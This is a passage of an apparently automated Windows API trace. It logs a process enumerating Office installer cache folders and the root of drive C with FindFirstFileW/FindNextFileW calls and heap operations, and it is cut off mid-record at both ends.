lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x262b2700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x262b2700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x1ffd0c0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xa97cbdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPrWW.cab", cAlternateFileName="")) returned 1 [0077.368] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf14900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbf14900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xc96ff40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xd49ee31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPrWW2.cab", cAlternateFileName="")) returned 1 [0077.368] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec13c00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbec13c00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x1682d290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0077.368] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0077.368] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0077.368] FindClose (in: hFindFile=0x3255100 | out: hFindFile=0x3255100) returned 1 [0077.369] GetProcessHeap () returned 0x470000 [0077.369] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x3210070 | out: hHeap=0x470000) returned 1 [0077.369] FindNextFileW (in: hFindFile=0x491d80, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-003B-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~3")) returned 1 [0077.369] GetProcessHeap () returned 0x470000 [0077.369] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x3210070 [0077.369] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255100 [0077.370] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.371] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87078450, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87078450, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5d1e590, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0077.371] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87abdaa0, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87abdaa0, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5cd2aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0077.371] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe57f8e0, ftCreationTime.dwHighDateTime=0x1cbe1cb, ftLastAccessTime.dwLowDateTime=0xfe57f8e0, ftLastAccessTime.dwHighDateTime=0x1cbe1cb, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0077.371] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6644b620, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x6644b620, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa81b8770, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0077.371] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8238e540, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x8238e540, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5ddcc70, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0077.371] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7bd91af0, ftCreationTime.dwHighDateTime=0x1cb07b2, ftLastAccessTime.dwLowDateTime=0x7bd91af0, ftLastAccessTime.dwHighDateTime=0x1cb07b2, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0077.371] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2a2397e0, ftCreationTime.dwHighDateTime=0x1cbe19a, ftLastAccessTime.dwLowDateTime=0x2a2397e0, ftLastAccessTime.dwHighDateTime=0x1cbe19a, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0077.372] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7c1614f0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7c1614f0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xa4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.msi", cAlternateFileName="PRJPRO~1.MSI")) returned 1 [0077.372] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cabec50, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7cabec50, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.xml", cAlternateFileName="PRJPRO~1.XML")) returned 1 [0077.372] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6c87b0c0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x6c87b0c0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa6b67930, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x9b6ba9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjPrrWW.cab", cAlternateFileName="")) returned 1 [0077.372] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x69dde270, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x69dde270, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa8191670, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0077.372] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0077.372] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0077.372] FindClose (in: hFindFile=0x3255100 | out: hFindFile=0x3255100) returned 1 [0077.373] GetProcessHeap () returned 0x470000 [0077.373] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x3210070 | out: hHeap=0x470000) returned 1 [0077.373] FindNextFileW (in: hFindFile=0x491d80, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~2")) returned 1 [0077.373] GetProcessHeap () returned 0x470000 [0077.373] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x3210070 [0077.373] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255100 [0077.374] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.375] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe5ed9630, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xe5ed9630, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x4655d500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0077.375] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x16771fb0, ftCreationTime.dwHighDateTime=0x1cb12b4, ftLastAccessTime.dwLowDateTime=0x16771fb0, ftLastAccessTime.dwHighDateTime=0x1cb12b4, ftLastWriteTime.dwLowDateTime=0x46536400, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0077.375] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec54b6b0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xec54b6b0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x4a687710, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0077.375] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xde72fbf0, ftCreationTime.dwHighDateTime=0x1cb0d0b, ftLastAccessTime.dwLowDateTime=0xde72fbf0, ftLastAccessTime.dwHighDateTime=0x1cb0d0b, ftLastWriteTime.dwLowDateTime=0x49c902c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0077.375] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc9c380f0, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xc9c380f0, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x465d00f0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0077.375] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe7c66670, ftCreationTime.dwHighDateTime=0x1cb0ee5, ftLastAccessTime.dwLowDateTime=0xe7c66670, ftLastAccessTime.dwHighDateTime=0x1cb0ee5, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0077.375] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x95261510, ftCreationTime.dwHighDateTime=0x1cb048a, ftLastAccessTime.dwLowDateTime=0x95261510, ftLastAccessTime.dwHighDateTime=0x1cb048a, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0077.376] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb7e7af0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xeb7e7af0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x49c691c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0077.376] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80aa51d0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80aa51d0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0077.376] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749b0240, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x749b0240, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x46a46a30, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb9fa2f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.cab", cAlternateFileName="")) returned 1 [0077.376] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80711960, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80711960, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468ee660, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb80800, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.msi", cAlternateFileName="")) returned 1 [0077.376] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 1 [0077.376] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 0 [0077.376] FindClose (in: hFindFile=0x3255100 | out: hFindFile=0x3255100) returned 1 [0077.377] GetProcessHeap () returned 0x470000 [0077.377] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x3210070 | out: hHeap=0x470000) returned 1 [0077.377] FindNextFileW (in: hFindFile=0x491d80, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~2")) returned 0 [0077.377] FindClose (in: hFindFile=0x491d80 | out: hFindFile=0x491d80) returned 1 [0077.378] GetProcessHeap () returned 0x470000 [0077.378] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4f5b80 | out: hHeap=0x470000) returned 1 [0077.378] FindNextFileW (in: hFindFile=0x492fd0, lpFindFileData=0x2aef458 | out: lpFindFileData=0x2aef458*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 0 [0077.378] FindClose (in: hFindFile=0x492fd0 | out: hFindFile=0x492fd0) returned 1 [0077.378] GetProcessHeap () returned 0x470000 [0077.378] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4e5b78 | out: hHeap=0x470000) returned 1 [0077.380] FindNextFileW (in: hFindFile=0x48e718, lpFindFileData=0x2aef6e0 | out: lpFindFileData=0x2aef6e0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xaece4da0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0077.380] FindNextFileW (in: hFindFile=0x48e718, lpFindFileData=0x2aef6e0 | out: lpFindFileData=0x2aef6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0077.380] GetProcessHeap () returned 0x470000 [0077.380] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x3210070 [0077.381] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\*", lpFindFileData=0x2aef458 | out: lpFindFileData=0x2aef458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255100 [0077.381] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aef458 | out: lpFindFileData=0x2aef458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.381] FindNextFileW (in: hFindFile=0x3255100, lpFindFileData=0x2aef458 | out: lpFindFileData=0x2aef458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, 